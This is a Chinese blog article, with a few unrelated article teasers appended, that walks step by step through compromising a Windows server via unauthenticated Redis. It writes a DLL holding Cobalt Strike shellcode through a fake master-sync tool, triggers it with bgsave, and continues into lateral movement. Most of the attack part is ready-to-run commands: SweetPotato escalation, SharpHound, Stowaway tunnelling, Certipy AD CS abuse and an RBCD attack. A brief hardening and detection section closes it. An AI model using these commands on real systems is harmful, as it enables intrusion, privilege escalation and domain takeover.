news 2026/4/17 18:55:39

Windows下Redis未授权访问的另类利用:手把手教你通过DLL劫持上线Cobalt Strike

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Windows下Redis未授权访问的另类利用:手把手教你通过DLL劫持上线Cobalt Strike

Windows环境下Redis未授权访问漏洞的深度利用:从DLL劫持到内网渗透实战

Redis作为一款高性能的内存数据库,在Windows服务器环境中同样广泛应用。当管理员配置不当导致未授权访问漏洞时,攻击者往往能借此获取系统权限。本文将深入探讨一种不同于传统利用方式的攻击路径——通过DLL劫持实现权限提升,并结合内网渗透中的多个实战技巧。

1. Redis未授权访问漏洞的Windows特性

与Linux环境不同,Windows下的Redis未授权访问漏洞利用面临独特挑战。常见Linux环境下的攻击手法如写入计划任务、SSH公钥等在Windows服务器上完全失效。我们需要寻找专属于Windows系统的突破口。

Windows环境下Redis漏洞利用的限制条件

  • 无法通过crontab写入计划任务
  • 缺少SSH服务导致公钥注入无效
  • Web目录权限严格,webshell写入困难
  • 现代Windows版本(如Server 2019)不再支持MOF文件提权
  • 生产环境通常不允许重启服务器,使启动项写入失效

在这种情况下,DLL劫持成为Windows环境下最具可行性的攻击向量之一。它不需要服务器重启,对系统版本要求较低,且能绕过多数防护措施。

2. 从信息收集到DLL劫持的完整链条

2.1 关键信息收集技术

利用Redis的info命令可以获取大量有价值的信息:

redis-cli -h [目标IP] info

重点关注以下信息点:

  • redis_version:确定Redis版本,3.x版本无法使用主从同步
  • config_file:获取Redis安装路径(如C:\Program Files\Redis\redis.windows-service.conf
  • process_id:了解Redis服务运行账户

信息收集的实战技巧

  • 使用fscan等工具快速识别内网存活主机和开放端口
  • 结合netstat -ano确认服务绑定IP和端口情况
  • 通过whoami /priv检查当前权限和可用特权

2.2 DLL劫持的核心原理

Windows系统在加载DLL时会按特定顺序搜索路径。当合法DLL位于系统目录而程序安装目录缺少该DLL时,攻击者可以在程序目录放置恶意DLL实现劫持。

Redis服务在Windows环境下依赖多个系统DLL,其中dbghelp.dll是常见的劫持目标。该DLL用于调试帮助功能,不是Redis运行的核心依赖,劫持后不会导致服务崩溃。

2.3 恶意DLL的生成与配置

步骤一:提取原始DLL从目标系统的C:\Windows\System32\目录获取dbghelp.dll(注意版本匹配,Windows Server 2019 build 17763版本最佳)

步骤二:使用DLLHijacker生成项目

python3 DllHijacker.py dbghelp.dll

关键编译配置(Visual Studio 2019)

  1. 项目属性 → C/C++ → 代码生成 → 运行库 → 多线程 (/MT)
  2. 项目属性 → C/C++ → 代码生成 → 禁用安全检查GS
  3. 项目属性 → 链接器 → 清单文件 → 生成清单 → 否

Shellcode植入方法

  1. 使用Cobalt Strike生成C格式的payload
  2. 替换生成的dllmain.cpp中的shellcode部分
  3. 选择Release x64配置编译生成最终DLL

3. 利用Redis未授权写入恶意DLL

3.1 RedisWriteFile工具的使用

RedisWriteFile工具通过模拟Redis主从同步机制实现文件写入:

python3 RedisWriteFile.py --rhost 目标IP --rport 6379 \ --lhost 攻击机IP --lport 16379 \ --rpath 'C:\\Program Files\\Redis\\' \ --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'

参数说明

  • --rpath:Redis安装目录(必须与info获取的路径一致)
  • --lport:攻击机监听的伪造主服务器端口
  • --rfile/--lfile:要写入的目标文件名和本地文件路径

3.2 DLL加载触发机制

写入成功后,通过Redis命令触发DLL加载:

redis-cli -h 目标IP bgsave

bgsave命令会启动后台保存过程,Redis服务尝试加载各种辅助DLL,此时恶意dbghelp.dll将被加载执行。

成功标志

  • Cobalt Strike收到会话连接
  • 获得的权限通常是Redis服务运行账户(常为本地管理员)

4. 内网横向移动的高级技巧

4.1 权限提升与信息收集

SweetPotato提权: 当Redis服务以SeImpersonatePrivilege权限运行时,可直接使用SweetPotato提权至SYSTEM:

SweetPotato.exe -a "beacon.exe"

域信息收集关键命令

# 收集域内基本信息 net group "Domain Admins" /domain nltest /domain_trusts # 使用SharpHound收集BloodHound数据 SharpHound.exe -c all --outputdirectory C:\Users\Public

4.2 内网代理与扫描技术

Stowaway多级代理搭建

# 服务端 stowaway_admin -l 1122 # 客户端 stowaway_agent -c 服务端IP:1122

高效内网扫描策略

fscan -h 172.22.12.0/24 -o result.txt

重点关注:

  • 开放445端口的机器(SMB协议)
  • 域控制器(通常开放88、389端口)
  • 特殊服务如Redis、MySQL等中间件

4.3 证书服务攻击实战

当内网存在CA服务器时,可尝试利用AD CS漏洞(如CVE-2022-26923)进行域提权。

Certipy工具链使用

# 创建机器账户 certipy account create -u 机器账户\$ -hashes LMHASH:NTHASH -dc-ip 域控IP -user 新账户名 -dns 域控主机名 # 申请证书 certipy req -u '新账户名\$@域名' -p 密码 -ca CA名称 -target CA服务器IP -template Machine # 证书认证 certipy auth -pfx 证书.pfx -dc-ip 域控IP

Pass the Certificate技巧: 当证书缺少智能卡登录EKU时,可提取证书和密钥进行RBCD攻击:

# 提取证书和密钥 certipy cert -pfx file.pfx -nokey -out cert.crt certipy cert -pfx file.pfx -nocert -out key.key # 配置RBCD python passthecert.py -action write_rbcd -crt cert.crt -key key.key -domain 域名 -dc-ip 域控IP -delegate-to 目标机器\$ -delegate-from 攻击机器\$

5. 防御建议与检测方案

5.1 Redis服务加固措施

基础防护配置

  • 启用Redis认证(requirepass参数)
  • 修改默认端口(6379)
  • 绑定特定IP(bind参数)
  • 禁用高危命令(rename-command配置)

文件系统权限控制

  • Redis安装目录限制写入权限
  • 系统目录禁止非管理员修改
  • 启用Windows文件完整性监控

5.2 DLL劫持攻击检测

关键检测指标

  • Redis日志中的异常模块加载
  • 系统事件日志中的DLL加载错误
  • 非系统目录下的DLL文件出现
  • 异常的进程创建行为

实用检测命令

# 检查Redis目录下的DLL文件 Get-ChildItem "C:\Program Files\Redis\" -Filter *.dll # 监控DLL加载事件 Get-WinEvent -FilterHashtable @{ LogName='Security' ID='4688' } | Where-Object {$_.Message -match 'dbghelp\.dll'}

5.3 内网安全防护策略

  • 实施网络分段,隔离数据库服务器
  • 定期审计域内机器账户
  • 监控证书服务异常请求
  • 限制域管理员登录范围

在实际渗透测试中,Windows环境下的Redis未授权访问漏洞往往只是攻击链的起点。从DLL劫持到内网域渗透,攻击者可以通过多种技术组合逐步扩大战果。防御方需要建立纵深防御体系,既要修补基础服务漏洞,也要防范高级横向移动技术。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/17 18:55:38

别再死记硬背了!用Python SymPy库5分钟搞定离散数学命题逻辑真值表

用Python SymPy库5分钟自动化离散数学命题逻辑真值表 离散数学中的命题逻辑真值表是理解逻辑运算的基础工具,但手工绘制复杂公式的真值表不仅耗时,还容易出错。想象一下,面对一个包含5个命题变元的复合命题,你需要手动列出32种可能…

作者头像 李华
网站建设 2026/4/17 18:53:30

DDR3 ECC 技术演进与选型指南

1. DDR3 ECC技术基础与核心价值 第一次接触DDR3 ECC内存是在2013年负责某银行ATM控制系统的硬件设计时。当时客户要求系统必须连续运行5年不宕机,这就把内存可靠性问题直接推到了我们面前。普通DDR3内存在长时间运行后偶尔会出现bit翻转,而这种随机错误在…

作者头像 李华
网站建设 2026/4/17 18:53:25

从零到一:手把手搭建你的Seaborn数据可视化开发环境

1. 为什么选择Seaborn做数据可视化? 刚接触Python数据分析的朋友们可能都听说过matplotlib这个老牌绘图库,但实际用起来会发现它就像是用代码画素描——功能强大但步骤繁琐。我第一次用matplotlib画柱状图时,光是调整坐标轴标签的旋转角度就折…

作者头像 李华
网站建设 2026/4/17 18:52:15

用Go语言手搓一个斗地主AI:从拆牌算法到出牌策略的完整实现

用Go语言构建斗地主AI:从拆牌算法到策略落地的工程实践 斗地主作为中国最受欢迎的扑克游戏之一,其AI开发一直吸引着众多技术爱好者。本文将深入探讨如何用Go语言实现一个具备实战能力的斗地主AI,重点解析拆牌算法的工程实现和策略系统的代码落…

作者头像 李华